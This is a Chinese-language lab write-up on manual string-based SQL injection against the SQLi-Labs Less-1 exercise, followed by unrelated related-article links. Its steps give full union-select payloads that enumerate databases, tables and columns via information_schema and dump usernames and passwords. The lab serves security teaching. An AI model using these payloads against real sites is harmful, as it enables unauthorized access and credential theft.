【less-1】基于SQLI的SQL字符型报错注入

简介: 【less-1】基于SQLI的SQL字符型报错注入

实验目的

通过本实验理解数字型报错SQL注入漏洞点的定位方法,掌握利用手工方式完成一次完整SQL注入的过程,熟悉常见SQL注入命令的操作。

实验环境

渗透主机:KALI平台

目标网站:SQLI平台的Less-1科目

注意:将MySQL的版本调到5.5以上,因为这样数据库内才会有information_schema数据库。(实验镜像中已经调整)

实验原理

1.MySQL语言的注释语法:

– (这里有一个空格,–空格)在SQL内表示注释,但在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,所以我们用–+代替-- ,原因是+在URL被URL编码后会变成空格。

2.Less-1源代码:

1)进入SQLI网站的源码路径

  使用命令 vim index.php浏览Less-1所对应的网页源码

可以看到页面中显示:

在URL后面输入?id=1,得到了 登录名:Dumb,以及密码:Dumb

仔细阅读源码

得出结论:如果你输入不同的id值就会返回不同的结果,实际查询的语句是:

实验步骤

第一步 登录SQLI-Labs平台

第二步 登录Kali平台,启动Firefox浏览器访问SQLI-Labs的less-1

(1)在浏览器地址栏中输入http://【靶机IP】/Less-1/,访问SQLI-Labs的less-1。

(2)在上面的URL末端加上?id=1的动态参数,页面显示登录用户名Dumb、密码Dumb:

第三步 尝试判断是否存在SQL注入以及哪种注入类型

(1)经过语句and 1=2测试 ,页面回显正常,所以该地方不是数值查询。

(2)尝试在id后面加上’(单引号),发现页面回显不正常,表示可能存在SQL字符注入。

3)输入- -+将sql后面的语句注释掉后,页面回显正常,则证明是单引号字符型注入。

第四步 手工SQL注入获得数据库的用户名与密码

说明:本实验Kali平台的Firefox浏览器中已预安装Hackbar插件,可使用快捷键F12启用。后续的实验步骤中,可以选择在Hackbar中来执行,或者直接在浏览器的地址栏中执行。


(1)使用order by语句判断该表中一共有几列数据。order by 3页面回显正常,order by 4页面回显不正常,说明此表一共有3列。


所用的payload格式为:


http://【靶机IP】/Less-1/?id=1’ order by N - -+



(2)使用union select 1,2,3联合查询语句查看页面是否有显示位。发现页面先输出了2和3,说明页面有2个显示位。


所用的payload格式为:


http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,2,3 - -+


(3)利用sql查询语句爆破出数据库内的数据库名。


所用的payload格式为:


http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata --+


(4)利用sql查询语句爆破出security数据库内的表名。


所用的payload格式为:


http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’ --+


(5)利用sql查询语句爆破出users数据表内的列名。


所用的payload格式为:


http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=’security’ and table_name=’users’ --+


(6)利用sql查询语句爆破出username、password列的值。

所用的payload格式为:

http://【靶机IP】/Less-1/?id=1’ and 1=2 union select 1,group_concat(username),

group_concat(password) from security.users --+

思考与总结

通过本次实验,成功实现了利用SQL注入漏洞的管理员帐户密码的获取,掌握了SQL注入漏洞的手工攻击方法,在此基础上可以深刻体会SQL注入漏洞的危害以及采取相关网络安全防护防御措施。

相关文章
|
2月前
|
SQL 关系型数据库 MySQL
这样的SQL执行为什么不会报错?optimizer_trace深度历险
【10月更文挑战第12天】本文探讨了一条看似错误但实际上能成功执行的SQL语句,通过开启MySQL的优化器追踪功能,详细分析了SQL的执行过程,揭示了子查询被优化器解析为连接操作的原因,最终解释了为何该SQL不会报错。文章不仅增进了对SQL优化机制的理解,也展示了如何利用优化器追踪解决实际问题。
|
3月前
|
SQL 数据库
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
SQL Server附加数据库出现错误823,附加数据库失败。数据库没有备份,无法通过备份恢复数据库。 SQL Server数据库出现823错误的可能原因有:数据库物理页面损坏、数据库物理页面校验值损坏导致无法识别该页面、断电或者文件系统问题导致页面丢失。
104 12
数据库数据恢复—SQL Server数据库报错“错误823”的数据恢复案例
|
3月前
|
SQL 数据库
SQL解析相关报错
SQL解析相关报错
46 5
|
4月前
|
XML SQL 数据格式
XML动态sql查询当前时间之前的信息报错
XML动态sql查询当前时间之前的信息报错
55 2
|
4月前
|
SQL 分布式计算 DataWorks
DataWorks操作报错合集之新建项目的元数据的sql报错,如何解决
DataWorks是阿里云提供的一站式大数据开发与治理平台,支持数据集成、数据开发、数据服务、数据质量管理、数据安全管理等全流程数据处理。在使用DataWorks过程中,可能会遇到各种操作报错。以下是一些常见的报错情况及其可能的原因和解决方法。
|
2月前
|
SQL 关系型数据库 MySQL
|
3月前
|
关系型数据库 MySQL Nacos
nacos启动报错 load derby-schema.sql error
这篇文章描述了作者在使用Nacos时遇到的启动错误,错误提示为加载derby-schema.sql失败,作者通过将数据库从Derby更换为MySQL解决了问题。
nacos启动报错 load derby-schema.sql error
|
3月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
140 5
|
3月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
75 5
|
3月前
|
关系型数据库 MySQL Java
flywa报错java.sql.SQLSyntaxErrorException: Unknown database ‘flyway‘
flywa报错java.sql.SQLSyntaxErrorException: Unknown database ‘flyway‘
39 1